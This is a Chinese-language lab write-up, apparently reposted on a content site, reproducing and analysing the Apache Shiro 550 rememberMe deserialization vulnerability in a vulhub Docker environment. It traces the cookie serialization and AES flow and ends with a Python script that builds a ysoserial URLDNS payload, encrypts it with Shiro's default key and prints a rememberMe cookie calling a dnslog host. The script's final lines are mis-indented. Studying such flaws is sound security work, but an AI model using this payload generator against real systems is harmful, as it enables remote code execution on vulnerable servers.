栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

shiro550漏洞复现与分析

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

shiro550漏洞复现与分析

远程调试环境

本地搭建环境有点麻烦,索性就直接起docker,然后远程调试。进入vulnhub启动docker环境,使用exec命令进入容器

查看进程发现存在漏洞环境的jar包,docker cp 打包到本地使用jar -xvf XXX.jar解压jar包,解压完成的目录结构

将shirodemo-1.0-SNAPSHOT.jar包添加到libraries

再将BOOT-INF添加到Modules中

紧接着修改下dockerfile,如下

version: '2'
services:
 web:
   image: vulhub/shiro:1.2.4
   ports:
    - "8080:8080"
    - "5050:5050"
   command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050 -jar /shirodemo-1.0-SNAPSHOT.jar   

重新启动docker环境,配置idea的remote选项

在登陆处下断点,看是否能够成功

可以成功调试。可以进入下个环节了。

漏洞复现

漏洞复现的话,github上挺多工具的,下一个利用工具利用下

看到这样即成功利用。

漏洞分析

在分析这个漏洞之前,在日常的挖洞中偶尔碰到过几次,了解过相关的漏洞原理。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

Payload产生的过程:

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

不过只是知道原理,对其中的利用过程没有了解过,所以也是写这篇笔记的原因。

URLDNS链

漏洞触发点在CookieRememberMeManager,双击shift查看代码,在CookieRememberMeManager这个类中存在一个rememberSerializedIdentity方法

进行base64编码,最后将base64编码字符串作为cookie的值。存在序列化的方法肯定也存在反序列化的方法,在下面的代码中发现了getRememberedSerializedIdentity,会去读取相关的信息。CookieRememberMeManager类继承了AbstractRememberMeManager,在AbstractRememberMeManager中可以找到调用rememberSerializedIdentity的方法。在rememberIdentity方法中调用

在看哪个地方调用了rememberIdentity。在onSuccessfulLogin中调用了这个方法,onSuccessfulLogin这个方法能够获取输入的用户名等信息,可以在这下断点步步跟进看是如何正常生成rememberMe的Cookie信息的。

传入之后进入到onSuccessfulLogin方法中,先调用了forgetIdentity清除相关的认证信息。

进入if判断,需要满足的条件有

Token不为null,token的类型为RememberMeAuthenticationToken。进入rememberIdentity方法可以通过getIdentityToRemember获取到我们传入的参数信息

然后再调用rememberIdentity

调用convertPrincipalsToBytes,在这个方法中会进行序列化操作并将序列化后的值赋值给byte数组

在defaultserialize下的serialize方法中完成序列化操作

回到convertPrincipalsToBytes之后开始对序列化后的byte数组进行加密操作,获取加密服务为AES-CBC加密模式,可以想到CBC加密需要有key值。

继续向下就进入加密函数encrypt中,需要注意的一点为getEncryptionCipherKey(),这个就是获取加密时候需要的key值的方法,跟进之后即可查找到默认的key值

最后把加密好的编码赋值给value之后回到rememberIdentity接着调用rememberSerializedIdentity,在rememberSerializedIdentity中在进行一次base64编码操作。

接下来将base64编码后的参数设置为cookie,这个流程就是这个流程

命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

刚刚在上面提到的getRememberedSerializedIdentity和rememberSerializedIdentity,所以在AbstractRememberMeManager中肯定也存在反序列化的操作。

可以尝试去寻找下反序列化时候的利用链。首先肯定是从getRememberedSerializedIdentity来作为入手点,在AbstractRememberMeManager中getRememberedPrincipals调用了getRememberedSerializedIdentity

接着看里面的代码调用getRememberedSerializedIdentity读取subjectContext中的内容,此时跟进getRememberedSerializedIdentity进入CookieRememberMeManager类中的getRememberedSerializedIdentity方法中,获取我们传入的base64的编码,也就是构造好的rememberMe的值。

然后返回getRememberedPrincipals方法中调用convertBytesToPrincipals对base64解码后的参数进行解密的操作,解密操作完成后进行反序列化

反序列化的过程应该是这样。找个脚本生成rememberMe尝试下看是否是按照这个链进行的。

URLDNS链可以直接使用ysoserial.jar这个工具生成。

Exp.py

		import base64
		import uuid
		import subprocess
		from Crypto.Cipher import AES
		def rememberme(command):
		    popen = subprocess.Popen(['java','-jar','ysoserial-master-8eb5cbfbf6-1.jar','URLDNS', command],stdout=subprocess.PIPE)
		    BS = AES.block_size
		    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
		    key ="kPH+bIxk5D2deZiIxcaaaA=="
		    mode = AES.MODE_CBC
		    iv = uuid.uuid4().bytes
		    encryptor = AES.new(base64.b64decode(key), mode, iv)
		    file_body = pad(popen.stdout.read())
		    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
		    return base64_ciphertext
		if __name__ =='__main__':
		    payload = rememberme('http://00ef4d9e.dnslog.xvnming.org.cn')
		    with open("./ser.bin","w") as fpw:
		        print("rememberMe={}".format(payload.decode()))
		        res ="rememberMe={}".format(payload.decode())
        fpw.write(res)

参考链接

Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

IDEA远程调试Docker中程序的方法 | AresX's Blog

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/881235.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号